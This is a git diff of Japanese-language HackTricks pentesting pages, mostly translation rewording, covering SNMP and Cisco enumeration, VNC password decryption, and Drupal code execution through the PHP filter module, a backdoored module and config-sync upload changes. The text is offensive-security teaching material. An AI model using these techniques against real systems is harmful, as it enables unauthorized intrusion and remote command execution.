AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -29,13 +29,13 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
``` ```
{% hint style="info" %} {% hint style="info" %}
SNMPは、**162/UDP**ポート**トラップ**に使用します。これらは、**明示的に要求されることなくSNMPサーバーからクライアントに送信されるデータパケット**です。 SNMPは、**162/UDP**ポート**トラップ**に使用します。これらは、**明示的に要求されることなくSNMPサーバーからクライアントに送信されるデータパケット**です。
{% endhint %} {% endhint %}
### MIB ### MIB
SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\ SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。 MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
### OIDs ### OIDs
@ -56,7 +56,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
このアドレスの内訳は次のとおりです。 このアドレスの内訳は以下の通りです。
* 1 これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。 * 1 これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。
* 3 これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。 * 3 これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
@ -193,7 +193,7 @@ SNMPサービス内で**値を書き込む**ことを許可する**文字列**
## **大規模SNMP** ## **大規模SNMP**
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。 [Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。 Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
``` ```
### **ユーザー名/パスワード** ### **ユーザー名/パスワード**
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これにはユーザー名として入力されたパスワードが偶然含まれることがあります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます: MIBテーブルに保存されたログは、**ログオン試行の失敗**を調査され、ユーザー名として入力されたパスワードが偶然含まれている可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます
```bash ```bash
grep -i "login\|fail" *.snmp grep -i "login\|fail" *.snmp
``` ```
@ -243,7 +243,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
* snmpd.conf * snmpd.conf
* snmp-config.xml * snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -294,7 +294,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks ## Pentesting Cisco Networks
**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** において重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。 **SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定する上で重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。
そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です: そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
@ -38,7 +38,7 @@ Metasploitフレームワークには、デバイスの設定を抽出するた
* ターゲットデバイスのIP (**RHOSTS**) * ターゲットデバイスのIP (**RHOSTS**)
* 設定ファイルの保存先パス (**OUTPUTDIR**) * 設定ファイルの保存先パス (**OUTPUTDIR**)
設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることを可能にします。 設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることができます。
#### `snmp_enum` #### `snmp_enum`
@ -48,13 +48,13 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
``` ```
## 参考文献 ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_) もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -66,8 +66,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -1,8 +1,8 @@
# 5800,5801,5900,5901 - Pentesting VNC # 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -45,12 +45,12 @@ vncviewer [-passwd passwd.txt] <IP>::5901
デフォルトの**パスワードは保存されています**: \~/.vnc/passwd デフォルトの**パスワードは保存されています**: \~/.vnc/passwd
VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように、おそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。 VNCパスワードを持っていて、それが暗号化されているように見える場合数バイト、暗号化されたパスワードのように見える場合)、それはおそらく3desで暗号化されています。平文のパスワードは[https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)を使用して取得できます。
```bash ```bash
make make
vncpwd <vnc password file> vncpwd <vnc password file>
``` ```
この操作が可能なのは、3des内で平文VNCパスワードを暗号化するために使用されたパスワードが数年前に逆転されたためです。\ You can do this because the password used inside 3des to encrypt the plain-text VNC passwords was reversed years ago.\
**Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ **Windows**の場合、このツールも使用できます: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
アクセスを容易にするために、ここにもツールを保存します: アクセスを容易にするために、ここにもツールを保存します:
@ -60,23 +60,23 @@ vncpwd <vnc password file>
* `port:5900 RFB` * `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。 古いバージョンのDrupal **(バージョン8以前)** では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8以降、このモジュールはデフォルトでインストールされていません。
{% endhint %} {% endhint %}
**phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返され場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**) **phpプラグインがインストールされている必要があります** (_/modules/php_ にアクセスして、**403**が返され場合は、**存在します**。**見つからない**場合は、**phpプラグインはインストールされていません**)
_モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_ _モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_
@ -35,13 +35,13 @@ _モジュール_ -> (**チェック**) _PHP Filter_ -> _設定を保存_
```bash ```bash
curl http://drupal-site.local/node/3 curl http://drupal-site.local/node/3
``` ```
## PHPフィルタモジュールのインストール ## PHPフィルタモジュールのインストール
{% hint style="warning" %} {% hint style="warning" %}
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。 現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。
{% endhint %} {% endhint %}
バージョン**8以降、** [**PHPフィルタ**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を利用するには、**自分でモジュールをインストールする必要があります**。 バージョン**8以降、** [**PHPフィルタ**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を利用するには、**自分でモジュールをインストールする必要があります**。
1. Drupalウェブサイトからモジュールの最新バージョンをダウンロードします。 1. Drupalウェブサイトからモジュールの最新バージョンをダウンロードします。
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
@ -55,7 +55,7 @@ curl http://drupal-site.local/node/3
現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。 現在のバージョンでは、デフォルトのインストール後にウェブにアクセスするだけでプラグインをインストールすることはできなくなりました。
{% endhint %} {% endhint %}
バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。例えば、[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gz [アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。 バックドア付きモジュールは、**既存のモジュールにシェルを追加することによって作成できます**。モジュールはdrupal.orgウェブサイトで見つけることができます。[CAPTCHA](https://www.drupal.org/project/captcha)のようなモジュールを選びましょう。下にスクロールして、tar.gzの[アーカイブ](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)のリンクをコピーします。
* アーカイブをダウンロードし、その内容を抽出します。 * アーカイブをダウンロードし、その内容を抽出します。
``` ```
@ -75,42 +75,42 @@ RewriteEngine On
RewriteBase / RewriteBase /
</IfModule> </IfModule>
``` ```
* 上記の設定は、/modules内のファイルをリクエストしたときに/フォルダーにルールを適用します。これらのファイルの両方をcaptchaフォルダーにコピーし、アーカイブを作成します。 * 上記の設定は、/modules内のファイルをリクエストする際に/フォルダーにルールを適用します。これらのファイルを両方ともcaptchaフォルダーにコピーし、アーカイブを作成します。
```bash ```bash
mv shell.php .htaccess captcha mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/ tar cvf captcha.tar.gz captcha/
``` ```
* **管理アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページ(例:`http://drupal-site.local/admin/modules/install`)に移動します。バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。 * ウェブサイトに**管理者アクセス**があると仮定して、サイドバーの**`管理`**をクリックし、次に**`拡張`**をクリックします。次に、**`新しいモジュールをインストール`**ボタンをクリックすると、インストールページに移動します。例えば、`http://drupal-site.local/admin/modules/install` バックドア付きのCaptchaアーカイブを参照し、**`インストール`**をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。 * インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。
## 設定同期を使用したDrupalのバックドア <a href="#backdooring-drupal" id="backdooring-drupal"></a> ## 設定同期によるDrupalのバックドア <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**投稿者** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) **投稿者** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### パート1_メディア_と_メディアライブラリ_の有効化 ### パート1 (_メディア_ と _メディアライブラリ_ の有効化)
_拡張_メニュー(/admin/modulesでは、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン_メディア_と_メディアライブラリ_は有効化されていないようなので、有効化しましょう。 _拡張_ メニュー (/admin/modules) では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン _メディア_ _メディアライブラリ_ は有効化されていないようなので、有効化しましょう。
有効化前 有効化前:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
有効化後 有効化後:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### パート2_設定同期_機能の活用 <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a> ### パート2 (_設定同期_ 機能の活用) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
_設定同期_機能を活用して、Drupalの設定エントリをダンプエクスポートおよびアップロード(インポート)します: _設定同期_ 機能を利用して、Drupalの設定エントリをダンプエクスポートし、アップロード(インポート)します:
* /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import * /admin/config/development/configuration/single/import
**Patch system.file.yml** **Patch system.file.yml**
最初のエントリ`allow_insecure_uploads`をパッチすることから始めましょう: 最初のエントリ `allow_insecure_uploads` をパッチすることから始めましょう:
ファイル: system.file.yml ファイル: system.file.yml
``` ```
@ -122,7 +122,7 @@ allow_insecure_uploads: false
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
に: に:
@ -136,7 +136,7 @@ allow_insecure_uploads: true
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**パッチ field.field.media.document.field\_media\_document.yml** **パッチ field.field.media.document.field\_media\_document.yml**
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
に: に:
@ -166,11 +166,11 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
... ...
``` ```
> このブログ投稿では使用していませんが、`file_directory`を任意の方法で定義でき、パストラバーサル攻撃に対して脆弱であることが指摘されていますこれにより、Drupalファイルシステムツリー内で上に戻ることができます > このブログ投稿では使用していませんが、`file_directory`を任意の方法で定義でき、パストラバーサル攻撃に対して脆弱であることが指摘されていますこれにより、Drupalファイルシステムツリー内で上に戻ることができます
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### パート 3 (機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a> ### パート3機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。 最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。
